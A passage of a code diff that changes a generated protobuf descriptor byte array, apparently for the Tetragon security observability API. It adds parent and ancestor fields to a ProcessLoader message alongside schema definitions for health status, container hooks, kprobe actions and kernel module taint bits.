0x12, 0x12, 0x0a, 0x04, 0x74, 0x61, 0x67, 0x73, 0x18, 0x09, 0x20, 0x03, + 0x28, 0x09, 0x52, 0x04, 0x74, 0x61, 0x67, 0x73, 0x12, 0x2f, 0x0a, 0x09, 0x61, 0x6e, 0x63, 0x65, + 0x73, 0x74, 0x6f, 0x72, 0x73, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x74, 0x65, + 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x52, 0x09, + 0x61, 0x6e, 0x63, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x73, 0x12, 0x19, 0x0a, 0x08, 0x69, 0x6d, 0x61, + 0x5f, 0x68, 0x61, 0x73, 0x68, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x69, 0x6d, 0x61, + 0x48, 0x61, 0x73, 0x68, 0x22, 0x96, 0x01, 0x0a, 0x0c, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4d, + 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x3d, 0x0a, 0x0c, 0x73, 0x69, 0x67, + 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x5f, 0x6f, 0x6b, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x42, 0x6f, 0x6f, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x0b, 0x73, 0x69, 0x67, + 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x4f, 0x6b, 0x12, 0x33, 0x0a, 0x07, 0x74, 0x61, 0x69, 0x6e, + 0x74, 0x65, 0x64, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x19, 0x2e, 0x74, 0x65, 0x74, 0x72, + 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x54, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x64, 0x42, 0x69, 0x74, 0x73, + 0x54, 0x79, 0x70, 0x65, 0x52, 0x07, 0x74, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x64, 0x22, 0x56, 0x0a, + 0x04, 0x54, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x72, 0x67, 0x30, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x72, 0x67, 0x30, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x72, 0x67, + 0x31, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x72, 0x67, 0x31, 0x12, 0x12, 0x0a, + 0x04, 0x61, 0x72, 0x67, 0x32, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x72, 0x67, + 0x32, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x72, 0x67, 0x33, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x04, 0x61, 0x72, 0x67, 0x33, 0x22, 0x51, 0x0a, 0x16, 0x47, 0x65, 0x74, 0x48, 0x65, 0x61, 0x6c, + 0x74, 0x68, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x37, 0x0a, 0x09, 0x65, 0x76, 0x65, 0x6e, 0x74, 0x5f, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x03, + 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x48, 0x65, + 0x61, 0x6c, 0x74, 0x68, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, + 0x65, 0x76, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x74, 0x22, 0x90, 0x01, 0x0a, 0x0c, 0x48, 0x65, 0x61, + 0x6c, 0x74, 0x68, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x30, 0x0a, 0x05, 0x65, 0x76, 0x65, + 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, + 0x67, 0x6f, 0x6e, 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, + 0x54, 0x79, 0x70, 0x65, 0x52, 0x05, 0x65, 0x76, 0x65, 0x6e, 0x74, 0x12, 0x34, 0x0a, 0x06, 0x73, + 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1c, 0x2e, 0x74, 0x65, + 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x53, 0x74, 0x61, + 0x74, 0x75, 0x73, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x52, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, + 0x73, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x73, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x07, 0x64, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x73, 0x22, 0x56, 0x0a, 0x17, 0x47, + 0x65, 0x74, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3b, 0x0a, 0x0d, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, + 0x5f, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x53, - 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x79, 0x70, 0x65, 0x52, 0x05, 0x65, 0x76, 0x65, 0x6e, 0x74, - 0x12, 0x34, 0x0a, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, - 0x32, 0x1c, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x48, 0x65, 0x61, 0x6c, - 0x74, 0x68, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x52, 0x06, - 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x74, 0x61, 0x69, 0x6c, - 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x64, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x73, - 0x22, 0x56, 0x0a, 0x17, 0x47, 0x65, 0x74, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x53, 0x74, 0x61, - 0x74, 0x75, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3b, 0x0a, 0x0d, 0x68, - 0x65, 0x61, 0x6c, 0x74, 0x68, 0x5f, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x48, 0x65, - 0x61, 0x6c, 0x74, 0x68, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x0c, 0x68, 0x65, 0x61, 0x6c, - 0x74, 0x68, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x22, 0x6a, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x63, - 0x65, 0x73, 0x73, 0x4c, 0x6f, 0x61, 0x64, 0x65, 0x72, 0x12, 0x2b, 0x0a, 0x07, 0x70, 0x72, 0x6f, - 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x74, 0x65, 0x74, - 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x52, 0x07, 0x70, - 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x74, 0x68, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x70, 0x61, 0x74, 0x68, 0x12, 0x18, 0x0a, 0x07, 0x62, 0x75, - 0x69, 0x6c, 0x64, 0x69, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x62, 0x75, 0x69, - 0x6c, 0x64, 0x69, 0x64, 0x22, 0x64, 0x0a, 0x12, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x48, - 0x6f, 0x6f, 0x6b, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x45, 0x0a, 0x0f, 0x63, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72, 0x48, 0x00, - 0x52, 0x0f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, - 0x72, 0x42, 0x07, 0x0a, 0x05, 0x65, 0x76, 0x65, 0x6e, 0x74, 0x22, 0x15, 0x0a, 0x13, 0x52, 0x75, - 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x48, 0x6f, 0x6f, 0x6b, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0xa1, 0x03, 0x0a, 0x0f, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, - 0x61, 0x69, 0x6e, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x63, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x73, - 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x63, 0x67, 0x72, 0x6f, - 0x75, 0x70, 0x73, 0x50, 0x61, 0x74, 0x68, 0x12, 0x18, 0x0a, 0x07, 0x72, 0x6f, 0x6f, 0x74, 0x44, - 0x69, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x72, 0x6f, 0x6f, 0x74, 0x44, 0x69, - 0x72, 0x12, 0x4c, 0x0a, 0x0b, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2a, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, - 0x6e, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, - 0x72, 0x2e, 0x41, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x52, 0x0b, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, - 0x24, 0x0a, 0x0d, 0x63, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x63, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, - 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x63, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, - 0x65, 0x72, 0x49, 0x44, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x63, 0x6f, 0x6e, 0x74, - 0x61, 0x69, 0x6e, 0x65, 0x72, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x6f, 0x64, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x70, 0x6f, 0x64, 0x4e, 0x61, 0x6d, - 0x65, 0x12, 0x16, 0x0a, 0x06, 0x70, 0x6f, 0x64, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x06, 0x70, 0x6f, 0x64, 0x55, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x6f, 0x64, - 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0c, 0x70, 0x6f, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x26, 0x0a, - 0x0e, 0x63, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72, 0x49, 0x6d, 0x61, 0x67, 0x65, 0x18, - 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72, - 0x49, 0x6d, 0x61, 0x67, 0x65, 0x1a, 0x3e, 0x0a, 0x10, 0x41, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x73, 0x0a, 0x0f, 0x53, 0x74, 0x61, 0x63, 0x6b, 0x54, 0x72, - 0x61, 0x63, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x18, 0x0a, 0x07, 0x61, 0x64, 0x64, 0x72, - 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x61, 0x64, 0x64, 0x72, 0x65, - 0x73, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x79, - 0x6d, 0x62, 0x6f, 0x6c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x73, 0x79, 0x6d, 0x62, - 0x6f, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x6d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x06, 0x6d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x2a, 0xc4, 0x03, 0x0a, 0x0c, 0x4b, - 0x70, 0x72, 0x6f, 0x62, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x19, 0x0a, 0x15, 0x4b, - 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, 0x43, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x55, 0x4e, 0x4b, - 0x4e, 0x4f, 0x57, 0x4e, 0x10, 0x00, 0x12, 0x16, 0x0a, 0x12, 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, - 0x5f, 0x41, 0x43, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x50, 0x4f, 0x53, 0x54, 0x10, 0x01, 0x12, 0x1a, - 0x0a, 0x16, 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, 0x43, 0x54, 0x49, 0x4f, 0x4e, 0x5f, - 0x46, 0x4f, 0x4c, 0x4c, 0x4f, 0x57, 0x46, 0x44, 0x10, 0x02, 0x12, 0x19, 0x0a, 0x15, 0x4b, 0x50, - 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, 0x43, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x53, 0x49, 0x47, 0x4b, - 0x49, 0x4c, 0x4c, 0x10, 0x03, 0x12, 0x1c, 0x0a, 0x18, 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, - 0x41, 0x43, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x55, 0x4e, 0x46, 0x4f, 0x4c, 0x4c, 0x4f, 0x57, 0x46, - 0x44, 0x10, 0x04, 0x12, 0x1a, 0x0a, 0x16, 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, 0x43, - 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x4f, 0x56, 0x45, 0x52, 0x52, 0x49, 0x44, 0x45, 0x10, 0x05, 0x12, - 0x18, 0x0a, 0x14, 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, 0x43, 0x54, 0x49, 0x4f, 0x4e, - 0x5f, 0x43, 0x4f, 0x50, 0x59, 0x46, 0x44, 0x10, 0x06, 0x12, 0x18, 0x0a, 0x14, 0x4b, 0x50, 0x52, - 0x4f, 0x42, 0x45, 0x5f, 0x41, 0x43, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x47, 0x45, 0x54, 0x55, 0x52, - 0x4c, 0x10, 0x07, 0x12, 0x1b, 0x0a, 0x17, 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, 0x43, - 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x44, 0x4e, 0x53, 0x4c, 0x4f, 0x4f, 0x4b, 0x55, 0x50, 0x10, 0x08, - 0x12, 0x18, 0x0a, 0x14, 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, 0x43, 0x54, 0x49, 0x4f, - 0x4e, 0x5f, 0x4e, 0x4f, 0x50, 0x4f, 0x53, 0x54, 0x10, 0x09, 0x12, 0x18, 0x0a, 0x14, 0x4b, 0x50, - 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, 0x43, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x53, 0x49, 0x47, 0x4e, - 0x41, 0x4c, 0x10, 0x0a, 0x12, 0x1b, 0x0a, 0x17, 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, - 0x43, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x54, 0x52, 0x41, 0x43, 0x4b, 0x53, 0x4f, 0x43, 0x4b, 0x10, - 0x0b, 0x12, 0x1d, 0x0a, 0x19, 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, 0x43, 0x54, 0x49, - 0x4f, 0x4e, 0x5f, 0x55, 0x4e, 0x54, 0x52, 0x41, 0x43, 0x4b, 0x53, 0x4f, 0x43, 0x4b, 0x10, 0x0c, - 0x12, 0x20, 0x0a, 0x1c, 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, 0x43, 0x54, 0x49, 0x4f, - 0x4e, 0x5f, 0x4e, 0x4f, 0x54, 0x49, 0x46, 0x59, 0x45, 0x4e, 0x46, 0x4f, 0x52, 0x43, 0x45, 0x52, - 0x10, 0x0d, 0x12, 0x2d, 0x0a, 0x29, 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, 0x43, 0x54, - 0x49, 0x4f, 0x4e, 0x5f, 0x43, 0x4c, 0x45, 0x41, 0x4e, 0x55, 0x50, 0x45, 0x4e, 0x46, 0x4f, 0x52, - 0x43, 0x45, 0x52, 0x4e, 0x4f, 0x54, 0x49, 0x46, 0x49, 0x43, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, - 0x0e, 0x2a, 0x4f, 0x0a, 0x10, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x53, 0x74, 0x61, 0x74, 0x75, - 0x73, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1c, 0x0a, 0x18, 0x48, 0x45, 0x41, 0x4c, 0x54, 0x48, 0x5f, - 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x5f, 0x55, 0x4e, 0x44, 0x45, - 0x46, 0x10, 0x00, 0x12, 0x1d, 0x0a, 0x19, 0x48, 0x45, 0x41, 0x4c, 0x54, 0x48, 0x5f, 0x53, 0x54, - 0x41, 0x54, 0x55, 0x53, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x5f, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, - 0x10, 0x01, 0x2a, 0x7c, 0x0a, 0x12, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x53, 0x74, 0x61, 0x74, - 0x75, 0x73, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x17, 0x0a, 0x13, 0x48, 0x45, 0x41, 0x4c, - 0x54, 0x48, 0x5f, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x55, 0x4e, 0x44, 0x45, 0x46, 0x10, - 0x00, 0x12, 0x19, 0x0a, 0x15, 0x48, 0x45, 0x41, 0x4c, 0x54, 0x48, 0x5f, 0x53, 0x54, 0x41, 0x54, - 0x55, 0x53, 0x5f, 0x52, 0x55, 0x4e, 0x4e, 0x49, 0x4e, 0x47, 0x10, 0x01, 0x12, 0x19, 0x0a, 0x15, - 0x48, 0x45, 0x41, 0x4c, 0x54, 0x48, 0x5f, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x53, 0x54, - 0x4f, 0x50, 0x50, 0x45, 0x44, 0x10, 0x02, 0x12, 0x17, 0x0a, 0x13, 0x48, 0x45, 0x41, 0x4c, 0x54, - 0x48, 0x5f, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x45, 0x52, 0x52, 0x4f, 0x52, 0x10, 0x03, - 0x2a, 0x8d, 0x02, 0x0a, 0x0f, 0x54, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x64, 0x42, 0x69, 0x74, 0x73, - 0x54, 0x79, 0x70, 0x65, 0x12, 0x0f, 0x0a, 0x0b, 0x54, 0x41, 0x49, 0x4e, 0x54, 0x5f, 0x55, 0x4e, - 0x53, 0x45, 0x54, 0x10, 0x00, 0x12, 0x1c, 0x0a, 0x18, 0x54, 0x41, 0x49, 0x4e, 0x54, 0x5f, 0x50, - 0x52, 0x4f, 0x50, 0x52, 0x49, 0x45, 0x54, 0x41, 0x52, 0x59, 0x5f, 0x4d, 0x4f, 0x44, 0x55, 0x4c, - 0x45, 0x10, 0x01, 0x12, 0x17, 0x0a, 0x13, 0x54, 0x41, 0x49, 0x4e, 0x54, 0x5f, 0x46, 0x4f, 0x52, - 0x43, 0x45, 0x44, 0x5f, 0x4d, 0x4f, 0x44, 0x55, 0x4c, 0x45, 0x10, 0x02, 0x12, 0x1e, 0x0a, 0x1a, - 0x54, 0x41, 0x49, 0x4e, 0x54, 0x5f, 0x46, 0x4f, 0x52, 0x43, 0x45, 0x44, 0x5f, 0x55, 0x4e, 0x4c, - 0x4f, 0x41, 0x44, 0x5f, 0x4d, 0x4f, 0x44, 0x55, 0x4c, 0x45, 0x10, 0x04, 0x12, 0x18, 0x0a, 0x13, - 0x54, 0x41, 0x49, 0x4e, 0x54, 0x5f, 0x53, 0x54, 0x41, 0x47, 0x45, 0x44, 0x5f, 0x4d, 0x4f, 0x44, - 0x55, 0x4c, 0x45, 0x10, 0x80, 0x08, 0x12, 0x1d, 0x0a, 0x18, 0x54, 0x41, 0x49, 0x4e, 0x54, 0x5f, - 0x4f, 0x55, 0x54, 0x5f, 0x4f, 0x46, 0x5f, 0x54, 0x52, 0x45, 0x45, 0x5f, 0x4d, 0x4f, 0x44, 0x55, - 0x4c, 0x45, 0x10, 0x80, 0x20, 0x12, 0x1a, 0x0a, 0x15, 0x54, 0x41, 0x49, 0x4e, 0x54, 0x5f, 0x55, - 0x4e, 0x53, 0x49, 0x47, 0x4e, 0x45, 0x44, 0x5f, 0x4d, 0x4f, 0x44, 0x55, 0x4c, 0x45, 0x10, 0x80, - 0x40, 0x12, 0x24, 0x0a, 0x1e, 0x54, 0x41, 0x49, 0x4e, 0x54, 0x5f, 0x4b, 0x45, 0x52, 0x4e, 0x45, - 0x4c, 0x5f, 0x4c, 0x49, 0x56, 0x45, 0x5f, 0x50, 0x41, 0x54, 0x43, 0x48, 0x5f, 0x4d, 0x4f, 0x44, - 0x55, 0x4c, 0x45, 0x10, 0x80, 0x80, 0x02, 0x12, 0x17, 0x0a, 0x11, 0x54, 0x41, 0x49, 0x4e, 0x54, - 0x5f, 0x54, 0x45, 0x53, 0x54, 0x5f, 0x4d, 0x4f, 0x44, 0x55, 0x4c, 0x45, 0x10, 0x80, 0x80, 0x10, - 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, - 0x69, 0x6c, 0x69, 0x75, 0x6d, 0x2f, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2f, 0x61, - 0x70, 0x69, 0x2f, 0x76, 0x31, 0x2f, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x62, 0x06, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x0c, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x53, 0x74, 0x61, + 0x74, 0x75, 0x73, 0x22, 0xc6, 0x01, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, + 0x6f, 0x61, 0x64, 0x65, 0x72, 0x12, 0x2b, 0x0a, 0x07, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, + 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x52, 0x07, 0x70, 0x72, 0x6f, 0x63, 0x65, + 0x73, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x74, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x70, 0x61, 0x74, 0x68, 0x12, 0x18, 0x0a, 0x07, 0x62, 0x75, 0x69, 0x6c, 0x64, 0x69, + 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x62, 0x75, 0x69, 0x6c, 0x64, 0x69, 0x64, + 0x12, 0x29, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x11, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, + 0x65, 0x73, 0x73, 0x52, 0x06, 0x70, 0x61, 0x72, 0x65, 0x6e, 0x74, 0x12, 0x2f, 0x0a, 0x09, 0x61, + 0x6e, 0x63, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, + 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, + 0x73, 0x52, 0x09, 0x61, 0x6e, 0x63, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x73, 0x22, 0x64, 0x0a, 0x12, + 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x48, 0x6f, 0x6f, 0x6b, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 